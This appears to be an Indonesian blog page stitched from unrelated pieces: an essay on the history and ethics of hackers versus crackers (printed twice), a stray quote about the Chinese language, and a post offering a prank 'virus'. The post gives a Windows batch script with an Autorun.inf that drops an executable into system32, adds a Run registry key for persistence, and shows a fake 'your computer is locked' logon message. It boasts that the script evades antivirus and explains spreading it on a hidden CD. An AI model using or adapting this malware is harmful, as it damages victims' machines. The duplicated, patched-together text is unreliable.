Quoting French writer Romain Roland, Mr. Xu said, “Language is the distinctive feature of a race; it is the most intimate and enduring aspect of the human condition.” The French have used the constitution to protect their native language, while the Israelites have strived to preserve their mother tongue, the Hebrew language. Mr. Xu said, “Looking at these countries, I feel saddened by the decline of the Chinese language in this utilitarian education system.”
Sejarah Hacker dan Cracker
Sejarah Hacker dan Cracker
Hacker muncul pada awal tahun 1960-an diantara para anggota organisasi mahasiswa Tech Model Railroad Club di Laboratorium Kecerdasan Artifisial Massachusetts Institute of Technology (MIT). Kelompok mahasiswa tersebut merupakan salah satu perintis perkembangan teknologi komputer dan mereka beroperasi dengan sejumlah komputer mainframe. Kata hacker pertama kali muncul dengan arti positif untuk menyebut seorang anggota yang memiliki keahlian dalam bidang komputer dan mampu membuat program komputer yang lebih baik dari yang telah dirancang bersama. Kemudian pada tahun 1983, analogi hacker semakin berkembang untuk menyebut seseorang yang memiliki obsesi untuk memahami dan menguasai sistem komputer. Pasalnya, pada tahun tersebut untuk pertama kalinya FBI menangkap kelompok kriminal komputer The 414s yang berbasis di Milwaukee AS. 414 merupakan kode area lokal mereka. Kelompok yang kemudian disebut hacker tersebut dinyatakan bersalah atas pembobolan 60 buah komputer, dari komputer milik Pusat Kanker Memorial Sloan-Kettering hingga komputer milik Laboratorium Nasional Los Alamos. Salah seorang dari antara pelaku tersebut mendapatkan kekebalan karena testimonialnya, sedangkan 5 pelaku lainnya mendapatkan hukuman masa percobaan.
Kemudian pada perkembangan selanjutnya muncul kelompok lain yang menyebut-nyebut diri hacker, padahal bukan. Mereka ini (terutama para pria dewasa) yang mendapat kepuasan lewat membobol komputer dan mengakali telepon (phreaking). Hacker sejati menyebut orang-orang ini 'cracker' dan tidak suka bergaul dengan mereka. Hacker sejati memandang cracker sebagai orang malas, tidak
bertanggung jawab, dan tidak terlalu cerdas. Hacker sejati tidak setuju jika dikatakan bahwa dengan menerobos keamanan seseorang telah menjadi hacker.
Para hacker mengadakan pertemuan setiap setahun sekali yaitu diadakan setiap pertengahan bulan Juli di Las Vegas. Ajang pertemuan hacker terbesar di dunia tersebut dinamakan Def Con. Acara Def Con tersebut lebih kepada ajang pertukaran informasi dan teknologi yang berkaitan dengan aktivitas hacking.
Pengertian Hacker dan Cracker
1. Hacker
Hacker adalah sebutan untuk mereka yang memberikan sumbangan yang bermanfaat kepada jaringan komputer, membuat program kecil dan membagikannya dengan orang-orang di Internet. Sebagai contoh : digigumi (Grup Digital) adalah sebuah kelompok yang mengkhususkan diri bergerak dalam bidang game dan komputer. Digigumi ini menggunakan teknik teknik hexadecimal untuk mengubah teks yang terdapat di dalam game. Contohnya, game Chrono Trigger berbahasa Inggris dapat diubah menjadi bahasa Indonesia. Oleh karena itu, status Digigumi adalah hacker, namun bukan sebagai perusak. Hacker disini artinya, mencari, mempelajari dan mengubah sesuatu untuk keperluan hobi dan pengembangan dengan mengikuti legalitas yang telah ditentukan oleh developer game. Para hacker biasanya melakukan penyusupan-penyusupan dengan maksud memuaskan pengetahuan dan teknik. Rata - rata perusahaan yang bergerak di dunia jaringan global (internet) juga memiliki hacker. Tugasnya yaitu untuk menjaga jaringan dari kemungkinan perusakan pihak luar "cracker", menguji jaringan dari kemungkinan lobang yang menjadi peluang para cracker mengobrak - abrik jaringannya, sebagai contoh : perusahaan asuransi dan auditing "Price Waterhouse". Ia memiliki team hacker yang disebut dengan Tiger Team. Mereka bekerja untuk menguji sistem sekuriti client mereka.
2. Cracker
Cracker adalah sebutan untuk mereka yang masuk ke sistem orang lain dan cracker lebih bersifat destruktif, biasanya di jaringan komputer, mem-bypass password atau lisensi program komputer, secara sengaja melawan keamanan komputer, men-deface (merubah halaman muka web) milik orang lain bahkan hingga men-delete data orang lain, mencuri data dan umumnya melakukan cracking untuk keuntungan sendiri, maksud jahat, atau karena sebab lainnya karena ada tantangan. Beberapa proses pembobolan dilakukan untuk menunjukan kelemahan keamanan sistem.
Hirarki / Tingkatan Hacker
1. Elite
Ciri-ciri : mengerti sistem operasi luar dalam, sanggup mengkonfigurasi & menyambungkan jaringan secara global, melakukan pemrogramman setiap harinya, effisien & trampil, menggunakan pengetahuannya dengan tepat, tidak menghancurkan data-data, dan selalu mengikuti peraturan yang ada. Tingkat Elite ini sering disebut sebagai ‘suhu’.
2. Semi Elite
Ciri-ciri : lebih muda dari golongan elite, mempunyai kemampuan & pengetahuan luas tentang komputer, mengerti tentang sistem operasi (termasuk lubangnya), kemampuan programnya cukup untuk mengubah program eksploit.
3. Developed Kiddie
Ciri-ciri : umurnya masih muda (ABG) & masih sekolah, mereka membaca tentang metoda hacking & caranya di berbagai kesempatan, mencoba berbagai sistem sampai akhirnya berhasil & memproklamirkan kemenangan ke lainnya, umumnya masih menggunakan Grafik User Interface (GUI) & baru belajar basic dari UNIX tanpa mampu menemukan lubang kelemahan baru di sistem operasi.
4. Script Kiddie
Ciri-ciri : seperti developed kiddie dan juga seperti Lamers, mereka hanya mempunyai pengetahuan teknis networking yang sangat minimal, tidak lepas dari GUI, hacking dilakukan menggunakan trojan untuk menakuti & menyusahkan hidup sebagian pengguna Internet.
5. Lamer
Ciri-ciri : tidak mempunyai pengalaman & pengetahuan tapi ingin menjadi hacker sehingga lamer sering disebut sebagai ‘wanna-be’ hacker, penggunaan komputer mereka terutama untuk main game, IRC, tukar menukar software prirate, mencuri kartu kredit, melakukan hacking dengan menggunakan software trojan, nuke & DoS, suka menyombongkan diri melalui IRC channel, dan sebagainya. Karena banyak kekurangannya untuk mencapai elite, dalam perkembangannya mereka hanya akan sampai level developed kiddie atau script kiddie saja.
Cracker tidak mempunyai hirarki khusus karena sifatnya hanya membongkar dan merusak.
Kode Etik Hacker
1. Mampu mengakses komputer tak terbatas dan totalitas.
2. Semua informasi haruslah FREE.
3. Tidak percaya pada otoritas, artinya memperluas desentralisasi.
4. Tidak memakai identitas palsu, seperti nama samaran yang konyol, umur, posisi, dll.
5. Mampu membuat seni keindahan dalam komputer.
6. Komputer dapat mengubah hidup menjadi lebih baik.
7. Pekerjaan yang di lakukan semata-mata demi kebenaran informasi yang harus disebar luaskan.
8. Memegang teguh komitmen tidak membela dominasi ekonomi industri software tertentu.
9. Hacking adalah senjata mayoritas dalam perang melawan pelanggaran batas teknologi komputer.
10. Baik Hacking maupun Phreaking adalah satu-satunya jalan lain untuk menyebarkan informasi pada massa agar tak gagap dalam komputer.
Cracker tidak memiliki kode etik apapun.
Aturan Main Hacker
Gambaran umum aturan main yang perlu di ikuti seorang hacker seperti di jelaskan oleh Scorpio, yaitu:
· Di atas segalanya, hormati pengetahuan & kebebasan informasi.
· Memberitahukan sistem administrator akan adanya pelanggaran keamanan / lubang di keamanan yang anda lihat.
· Jangan mengambil keuntungan yang tidak fair dari hack.
· Tidak mendistribusikan & mengumpulkan software bajakan.
· Tidak pernah mengambil resiko yang bodoh – selalu mengetahui kemampuan sendiri.
· Selalu bersedia untuk secara terbuka / bebas / gratis memberitahukan & mengajarkan berbagai informasi & metoda yang diperoleh.
· Tidak pernah meng-hack sebuah sistem untuk mencuri uang.
· Tidak pernah memberikan akses ke seseorang yang akan membuat kerusakan.
· Tidak pernah secara sengaja menghapus & merusak file di komputer yang dihack.
· Hormati mesin yang di hack, dan memperlakukan dia seperti mesin sendiri.
Hacker sejati akan selalu bertindak berlandaskan kode etik dan aturan main sedang cracker tidak mempunyai kode etik ataupun aturan main karena cracker sifatnya merusak.
Perbedaan Hacker dan Cracker
a. Hacker
1.Mempunyai kemampuan menganalisa kelemahan suatu sistem atau situs. Sebagai contoh : jika seorang hacker mencoba menguji situs Yahoo! dipastikan isi situs tersebut tak akan berantakan dan mengganggu yang lain. Biasanya hacker melaporkan kejadian ini untuk diperbaiki menjadi sempurna.
2.Hacker mempunyai etika serta kreatif dalam merancang suatu program yang berguna bagi siapa saja.
3. Seorang Hacker tidak pelit membagi ilmunya kepada orang-orang yang serius atas nama ilmu pengetahuan dan kebaikan.
b. Cracker
1. Mampu membuat suatu program bagi kepentingan dirinya sendiri dan bersifat destruktif atau merusak dan menjadikannya suatu keuntungan. Sebagia contoh : Virus, Pencurian Kartu Kredit, Kode Warez, Pembobolan Rekening Bank, Pencurian Password E-mail/Web Server.
2. Bisa berdiri sendiri atau berkelompok dalam bertindak.
3. Mempunyai situs atau cenel dalam IRC yang tersembunyi, hanya orang-orang tertentu yang bisa mengaksesnya.
4. Mempunyai IP yang tidak bisa dilacak.
5. Kasus yang paling sering ialah Carding yaitu Pencurian Kartu Kredit, kemudian pembobolan situs dan mengubah segala isinya menjadi berantakan. Sebagai contoh : Yahoo! pernah mengalami kejadian seperti ini sehingga tidak bisa diakses dalam waktu yang lama, kasus clickBCA.com yang paling hangat dibicarakan tahun 2001 lalu.
Dua Jenis Kegiatan Hacking
1. Social Hacking, yang perlu diketahui : informasi tentang system apa yang dipergunakan oleh server, siapa pemilik server, siapa Admin yang mengelola server, koneksi yang dipergunakan jenis apa lalu bagaimana server itu tersambung internet, mempergunakan koneksi siapa lalu informasi apa saja yang disediakan oleh server tersebut, apakah server tersebut juga tersambung dengan LAN di sebuah organisasi dan informasi lainnya
2. Technical Hacking, merupakan tindakan teknis untuk melakukan penyusupan ke dalam system, baik dengan alat bantu (tool) atau dengan mempergunakan fasilitas system itu sendiri yang dipergunakan untuk menyerang kelemahan (lubang keamanan) yang terdapat dalam system atau service. Inti dari kegiatan ini adalah mendapatkan akses penuh kedalam system dengan cara apapun dan bagaimana pun.
Contoh Kasus Hacker
1. Pada tahun 1983, pertama kalinya FBI menangkap kelompok kriminal komputer The 414s(414 merupakan kode area lokal mereka) yang berbasis di Milwaukee AS. Kelompok yang kemudian disebut hacker tersebut melakukan pembobolan 60 buah komputer, dari komputer milik Pusat Kanker Memorial Sloan-Kettering hingga komputer milik Laboratorium Nasional Los Alamos. Salah seorang dari antara pelaku tersebut mendapatkan kekebalan karena testimonialnya, sedangkan 5 pelaku lainnya mendapatkan hukuman masa percobaan.
2. Digigumi (Grup Digital) adalah sebuah kelompok yang mengkhususkan diri bergerak dalam bidang game dan komputer dengan menggunakan teknik teknik hexadecimal untuk mengubah teks yang terdapat di dalam game. Contohnya : game Chrono Trigger berbahasa Inggris dapat diubah menjadi bahasa Indonesia. Oleh karena itu, status Digigumi adalah hacker, namun bukan sebagai perusak.
3. Pada hari Sabtu, 17 April 2004, Dani Firmansyah, konsultan Teknologi Informasi (TI) PT Danareksa di Jakarta berhasil membobol situs milik Komisi Pemilihan Umum (KPU) di http://tnp.kpu.go.id dan mengubah nama-nama partai di dalamnya menjadi nama-nama "unik", seperti Partai Kolor Ijo, Partai Mbah Jambon, Partai Jambu, dan lain sebagainya. Dani menggunakan teknik SQL Injection(pada dasarnya teknik tersebut adalah dengan cara mengetikkan string atau perintah tertentu di address bar browser) untuk menjebol situs KPU. Kemudian Dani tertangkap pada hari Kamis, 22 April 2004.
Akibat yang Ditimbulakan oleh Hacker dan Cracker
Hacker : membuat teknologi internet semakin maju karena hacker menggunakan keahliannya dalam hal komputer untuk melihat, menemukan dan memperbaiki kelemahan sistem keamanan dalam sebuah sistem komputer ataupun dalam sebuah software, membuat gairah bekerja seorang administrator kembali hidup karena hacker membantu administrator untuk memperkuat jaringan mereka.
Cracker : merusak dan melumpuhkan keseluruhan sistem komputer, sehingga data-data pengguna jaringan rusak, hilang, ataupun berubah.
Kesimpulan
Para hacker menggunakan keahliannya dalam hal komputer untuk melihat, menemukan dan memperbaiki kelemahan sistem keamanan dalam sebuah sistem komputer ataupun dalam sebuah software. Oleh karena itu, berkat para hacker-lah Internet ada dan dapat kita nikmati seperti sekarang ini, bahkan terus di perbaiki untuk menjadi sistem yang lebih baik lagi. Maka hacker dapat disebut sebagai pahlawan jaringan sedang cracker dapat disebut sebagai penjahat jaringan karena melakukan melakukan penyusupan dengan maksud menguntungkan dirinya secara personallity dengan maksud merugikan orang lain. Hacker sering disebut hacker putih (yang merupakan hacker sejati yang sifatnya membangun) dan hacker hitam (cracker yang sifatnya membongkar dan merusak)
Hacker muncul pada awal tahun 1960-an diantara para anggota organisasi mahasiswa Tech Model Railroad Club di Laboratorium Kecerdasan Artifisial Massachusetts Institute of Technology (MIT). Kelompok mahasiswa tersebut merupakan salah satu perintis perkembangan teknologi komputer dan mereka beroperasi dengan sejumlah komputer mainframe. Kata hacker pertama kali muncul dengan arti positif untuk menyebut seorang anggota yang memiliki keahlian dalam bidang komputer dan mampu membuat program komputer yang lebih baik dari yang telah dirancang bersama. Kemudian pada tahun 1983, analogi hacker semakin berkembang untuk menyebut seseorang yang memiliki obsesi untuk memahami dan menguasai sistem komputer. Pasalnya, pada tahun tersebut untuk pertama kalinya FBI menangkap kelompok kriminal komputer The 414s yang berbasis di Milwaukee AS. 414 merupakan kode area lokal mereka. Kelompok yang kemudian disebut hacker tersebut dinyatakan bersalah atas pembobolan 60 buah komputer, dari komputer milik Pusat Kanker Memorial Sloan-Kettering hingga komputer milik Laboratorium Nasional Los Alamos. Salah seorang dari antara pelaku tersebut mendapatkan kekebalan karena testimonialnya, sedangkan 5 pelaku lainnya mendapatkan hukuman masa percobaan.
Kemudian pada perkembangan selanjutnya muncul kelompok lain yang menyebut-nyebut diri hacker, padahal bukan. Mereka ini (terutama para pria dewasa) yang mendapat kepuasan lewat membobol komputer dan mengakali telepon (phreaking). Hacker sejati menyebut orang-orang ini 'cracker' dan tidak suka bergaul dengan mereka. Hacker sejati memandang cracker sebagai orang malas, tidak
bertanggung jawab, dan tidak terlalu cerdas. Hacker sejati tidak setuju jika dikatakan bahwa dengan menerobos keamanan seseorang telah menjadi hacker.
Para hacker mengadakan pertemuan setiap setahun sekali yaitu diadakan setiap pertengahan bulan Juli di Las Vegas. Ajang pertemuan hacker terbesar di dunia tersebut dinamakan Def Con. Acara Def Con tersebut lebih kepada ajang pertukaran informasi dan teknologi yang berkaitan dengan aktivitas hacking.
Pengertian Hacker dan Cracker
1. Hacker
Hacker adalah sebutan untuk mereka yang memberikan sumbangan yang bermanfaat kepada jaringan komputer, membuat program kecil dan membagikannya dengan orang-orang di Internet. Sebagai contoh : digigumi (Grup Digital) adalah sebuah kelompok yang mengkhususkan diri bergerak dalam bidang game dan komputer. Digigumi ini menggunakan teknik teknik hexadecimal untuk mengubah teks yang terdapat di dalam game. Contohnya, game Chrono Trigger berbahasa Inggris dapat diubah menjadi bahasa Indonesia. Oleh karena itu, status Digigumi adalah hacker, namun bukan sebagai perusak. Hacker disini artinya, mencari, mempelajari dan mengubah sesuatu untuk keperluan hobi dan pengembangan dengan mengikuti legalitas yang telah ditentukan oleh developer game. Para hacker biasanya melakukan penyusupan-penyusupan dengan maksud memuaskan pengetahuan dan teknik. Rata - rata perusahaan yang bergerak di dunia jaringan global (internet) juga memiliki hacker. Tugasnya yaitu untuk menjaga jaringan dari kemungkinan perusakan pihak luar "cracker", menguji jaringan dari kemungkinan lobang yang menjadi peluang para cracker mengobrak - abrik jaringannya, sebagai contoh : perusahaan asuransi dan auditing "Price Waterhouse". Ia memiliki team hacker yang disebut dengan Tiger Team. Mereka bekerja untuk menguji sistem sekuriti client mereka.
2. Cracker
Cracker adalah sebutan untuk mereka yang masuk ke sistem orang lain dan cracker lebih bersifat destruktif, biasanya di jaringan komputer, mem-bypass password atau lisensi program komputer, secara sengaja melawan keamanan komputer, men-deface (merubah halaman muka web) milik orang lain bahkan hingga men-delete data orang lain, mencuri data dan umumnya melakukan cracking untuk keuntungan sendiri, maksud jahat, atau karena sebab lainnya karena ada tantangan. Beberapa proses pembobolan dilakukan untuk menunjukan kelemahan keamanan sistem.
Hirarki / Tingkatan Hacker
1. Elite
Ciri-ciri : mengerti sistem operasi luar dalam, sanggup mengkonfigurasi & menyambungkan jaringan secara global, melakukan pemrogramman setiap harinya, effisien & trampil, menggunakan pengetahuannya dengan tepat, tidak menghancurkan data-data, dan selalu mengikuti peraturan yang ada. Tingkat Elite ini sering disebut sebagai ‘suhu’.
2. Semi Elite
Ciri-ciri : lebih muda dari golongan elite, mempunyai kemampuan & pengetahuan luas tentang komputer, mengerti tentang sistem operasi (termasuk lubangnya), kemampuan programnya cukup untuk mengubah program eksploit.
3. Developed Kiddie
Ciri-ciri : umurnya masih muda (ABG) & masih sekolah, mereka membaca tentang metoda hacking & caranya di berbagai kesempatan, mencoba berbagai sistem sampai akhirnya berhasil & memproklamirkan kemenangan ke lainnya, umumnya masih menggunakan Grafik User Interface (GUI) & baru belajar basic dari UNIX tanpa mampu menemukan lubang kelemahan baru di sistem operasi.
4. Script Kiddie
Ciri-ciri : seperti developed kiddie dan juga seperti Lamers, mereka hanya mempunyai pengetahuan teknis networking yang sangat minimal, tidak lepas dari GUI, hacking dilakukan menggunakan trojan untuk menakuti & menyusahkan hidup sebagian pengguna Internet.
5. Lamer
Ciri-ciri : tidak mempunyai pengalaman & pengetahuan tapi ingin menjadi hacker sehingga lamer sering disebut sebagai ‘wanna-be’ hacker, penggunaan komputer mereka terutama untuk main game, IRC, tukar menukar software prirate, mencuri kartu kredit, melakukan hacking dengan menggunakan software trojan, nuke & DoS, suka menyombongkan diri melalui IRC channel, dan sebagainya. Karena banyak kekurangannya untuk mencapai elite, dalam perkembangannya mereka hanya akan sampai level developed kiddie atau script kiddie saja.
Cracker tidak mempunyai hirarki khusus karena sifatnya hanya membongkar dan merusak.
Kode Etik Hacker
1. Mampu mengakses komputer tak terbatas dan totalitas.
2. Semua informasi haruslah FREE.
3. Tidak percaya pada otoritas, artinya memperluas desentralisasi.
4. Tidak memakai identitas palsu, seperti nama samaran yang konyol, umur, posisi, dll.
5. Mampu membuat seni keindahan dalam komputer.
6. Komputer dapat mengubah hidup menjadi lebih baik.
7. Pekerjaan yang di lakukan semata-mata demi kebenaran informasi yang harus disebar luaskan.
8. Memegang teguh komitmen tidak membela dominasi ekonomi industri software tertentu.
9. Hacking adalah senjata mayoritas dalam perang melawan pelanggaran batas teknologi komputer.
10. Baik Hacking maupun Phreaking adalah satu-satunya jalan lain untuk menyebarkan informasi pada massa agar tak gagap dalam komputer.
Cracker tidak memiliki kode etik apapun.
Aturan Main Hacker
Gambaran umum aturan main yang perlu di ikuti seorang hacker seperti di jelaskan oleh Scorpio, yaitu:
· Di atas segalanya, hormati pengetahuan & kebebasan informasi.
· Memberitahukan sistem administrator akan adanya pelanggaran keamanan / lubang di keamanan yang anda lihat.
· Jangan mengambil keuntungan yang tidak fair dari hack.
· Tidak mendistribusikan & mengumpulkan software bajakan.
· Tidak pernah mengambil resiko yang bodoh – selalu mengetahui kemampuan sendiri.
· Selalu bersedia untuk secara terbuka / bebas / gratis memberitahukan & mengajarkan berbagai informasi & metoda yang diperoleh.
· Tidak pernah meng-hack sebuah sistem untuk mencuri uang.
· Tidak pernah memberikan akses ke seseorang yang akan membuat kerusakan.
· Tidak pernah secara sengaja menghapus & merusak file di komputer yang dihack.
· Hormati mesin yang di hack, dan memperlakukan dia seperti mesin sendiri.
Hacker sejati akan selalu bertindak berlandaskan kode etik dan aturan main sedang cracker tidak mempunyai kode etik ataupun aturan main karena cracker sifatnya merusak.
Perbedaan Hacker dan Cracker
a. Hacker
1.Mempunyai kemampuan menganalisa kelemahan suatu sistem atau situs. Sebagai contoh : jika seorang hacker mencoba menguji situs Yahoo! dipastikan isi situs tersebut tak akan berantakan dan mengganggu yang lain. Biasanya hacker melaporkan kejadian ini untuk diperbaiki menjadi sempurna.
2.Hacker mempunyai etika serta kreatif dalam merancang suatu program yang berguna bagi siapa saja.
3. Seorang Hacker tidak pelit membagi ilmunya kepada orang-orang yang serius atas nama ilmu pengetahuan dan kebaikan.
b. Cracker
1. Mampu membuat suatu program bagi kepentingan dirinya sendiri dan bersifat destruktif atau merusak dan menjadikannya suatu keuntungan. Sebagia contoh : Virus, Pencurian Kartu Kredit, Kode Warez, Pembobolan Rekening Bank, Pencurian Password E-mail/Web Server.
2. Bisa berdiri sendiri atau berkelompok dalam bertindak.
3. Mempunyai situs atau cenel dalam IRC yang tersembunyi, hanya orang-orang tertentu yang bisa mengaksesnya.
4. Mempunyai IP yang tidak bisa dilacak.
5. Kasus yang paling sering ialah Carding yaitu Pencurian Kartu Kredit, kemudian pembobolan situs dan mengubah segala isinya menjadi berantakan. Sebagai contoh : Yahoo! pernah mengalami kejadian seperti ini sehingga tidak bisa diakses dalam waktu yang lama, kasus clickBCA.com yang paling hangat dibicarakan tahun 2001 lalu.
Dua Jenis Kegiatan Hacking
1. Social Hacking, yang perlu diketahui : informasi tentang system apa yang dipergunakan oleh server, siapa pemilik server, siapa Admin yang mengelola server, koneksi yang dipergunakan jenis apa lalu bagaimana server itu tersambung internet, mempergunakan koneksi siapa lalu informasi apa saja yang disediakan oleh server tersebut, apakah server tersebut juga tersambung dengan LAN di sebuah organisasi dan informasi lainnya
2. Technical Hacking, merupakan tindakan teknis untuk melakukan penyusupan ke dalam system, baik dengan alat bantu (tool) atau dengan mempergunakan fasilitas system itu sendiri yang dipergunakan untuk menyerang kelemahan (lubang keamanan) yang terdapat dalam system atau service. Inti dari kegiatan ini adalah mendapatkan akses penuh kedalam system dengan cara apapun dan bagaimana pun.
Contoh Kasus Hacker
1. Pada tahun 1983, pertama kalinya FBI menangkap kelompok kriminal komputer The 414s(414 merupakan kode area lokal mereka) yang berbasis di Milwaukee AS. Kelompok yang kemudian disebut hacker tersebut melakukan pembobolan 60 buah komputer, dari komputer milik Pusat Kanker Memorial Sloan-Kettering hingga komputer milik Laboratorium Nasional Los Alamos. Salah seorang dari antara pelaku tersebut mendapatkan kekebalan karena testimonialnya, sedangkan 5 pelaku lainnya mendapatkan hukuman masa percobaan.
2. Digigumi (Grup Digital) adalah sebuah kelompok yang mengkhususkan diri bergerak dalam bidang game dan komputer dengan menggunakan teknik teknik hexadecimal untuk mengubah teks yang terdapat di dalam game. Contohnya : game Chrono Trigger berbahasa Inggris dapat diubah menjadi bahasa Indonesia. Oleh karena itu, status Digigumi adalah hacker, namun bukan sebagai perusak.
3. Pada hari Sabtu, 17 April 2004, Dani Firmansyah, konsultan Teknologi Informasi (TI) PT Danareksa di Jakarta berhasil membobol situs milik Komisi Pemilihan Umum (KPU) di http://tnp.kpu.go.id dan mengubah nama-nama partai di dalamnya menjadi nama-nama "unik", seperti Partai Kolor Ijo, Partai Mbah Jambon, Partai Jambu, dan lain sebagainya. Dani menggunakan teknik SQL Injection(pada dasarnya teknik tersebut adalah dengan cara mengetikkan string atau perintah tertentu di address bar browser) untuk menjebol situs KPU. Kemudian Dani tertangkap pada hari Kamis, 22 April 2004.
Akibat yang Ditimbulakan oleh Hacker dan Cracker
Hacker : membuat teknologi internet semakin maju karena hacker menggunakan keahliannya dalam hal komputer untuk melihat, menemukan dan memperbaiki kelemahan sistem keamanan dalam sebuah sistem komputer ataupun dalam sebuah software, membuat gairah bekerja seorang administrator kembali hidup karena hacker membantu administrator untuk memperkuat jaringan mereka.
Cracker : merusak dan melumpuhkan keseluruhan sistem komputer, sehingga data-data pengguna jaringan rusak, hilang, ataupun berubah.
Kesimpulan
Para hacker menggunakan keahliannya dalam hal komputer untuk melihat, menemukan dan memperbaiki kelemahan sistem keamanan dalam sebuah sistem komputer ataupun dalam sebuah software. Oleh karena itu, berkat para hacker-lah Internet ada dan dapat kita nikmati seperti sekarang ini, bahkan terus di perbaiki untuk menjadi sistem yang lebih baik lagi. Maka hacker dapat disebut sebagai pahlawan jaringan sedang cracker dapat disebut sebagai penjahat jaringan karena melakukan melakukan penyusupan dengan maksud menguntungkan dirinya secara personallity dengan maksud merugikan orang lain. Hacker sering disebut hacker putih (yang merupakan hacker sejati yang sifatnya membangun) dan hacker hitam (cracker yang sifatnya membongkar dan merusak)
Maen2 dgn Virus yukzz ^^
ni virus efeknya g t’lalu bahaya….efek dari virus ini cuman mengganti tampilan dari
windows…..tapi cukup bikin kaget juga!!! tapi yg penting gak ke-detect ama anti virus(setahu saya….. )
@echo off
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v
LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f
buka notepad lalu tulis(atau copy paste…tapi di edit dulu yaaa… ) script di atasi:
- lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:
[autorun]
open=nama_file.bat
- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- nikmati efeknya
By. Berlin D. Hacker
windows…..tapi cukup bikin kaget juga!!! tapi yg penting gak ke-detect ama anti virus(setahu saya….. )
@echo off
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\ /y
copy image_name(terserah dari nama file gambar pembuat).bmp %systemdrive%\WINDOWS\system32\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\ /y
copy nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe %systemdrive%\WINDOWS\system32\ /y
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v
LegalNoticeCaption /d “WARNING MESSAGE FROM LOCAL_HOST(judul title bar)” /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon” /v LegalNoticeText /d “I HAVE RUINED YOUR COMPUTER AND YOUR COMPUTER IS LOCKED(pesan pembuat)” /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_CURRENT_USER\Control Panel\Desktop” /v WallpaperStyle /d 0 /f
reg add “HKEY_USERS\.DEFAULT\Control Panel\Desktop” /v Wallpaper /d %systemdrive%\WINDOWS\system32\image_name(terserah dari nama file gambar pembuat).bmp /f
reg add “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v nama_terserah /d %systemdrive%\windows\system32\nama_file(maksudnya file yang dibuat dengan flash lalu di publish ke .exe,atau file exstensi lain,tampilan file terserah pembuat).exe /f
reg add “HKEY_CURRENT_USER/Control Panel/Colors” /v window /d #000000(atau kombinasi warna RGB lain,cari pake Adobe Photoshop) /f
buka notepad lalu tulis(atau copy paste…tapi di edit dulu yaaa… ) script di atasi:
- lalu di SAVE AS ALL FILES dengan exstensi .bat (nama_file.bat)
- buat Autorun.inf dengan script:
[autorun]
open=nama_file.bat
- lalu SAVE AS ALL FILES dengan exstensi .inf (Autorun.inf)
- file-file tersebut harus dalam 1 direktori, lalu seleksi file-file tsb klik kanan PROPERTIES beri tanda check pada HIDDEN dan READ-ONLY
- copy file-file tsb ke CD
- nikmati efeknya
By. Berlin D. Hacker
Tuesday, December 15, 2009
Cashing CPU PC Desktop Paling Unik Yang Pernah Ada
Tuesday, December 15, 2009
Seorang pemasar haruslah kreatif, di era persaingan global yang begitu pesatnya, derasnya arus informasi dan pesatnya inovasi dari pesaing mengharuskan produsen memberikan produk yang terbaik dan paling menarik ke konsumen tidak terkecuali dalam dunia IT khususnya pasar chasing CPU Komputer desktop
sumber: http://ruanghati.com/2009/12/15/inilah-cashing-cpu-pc-desktop-paling-unik-yang-pernah-ada/
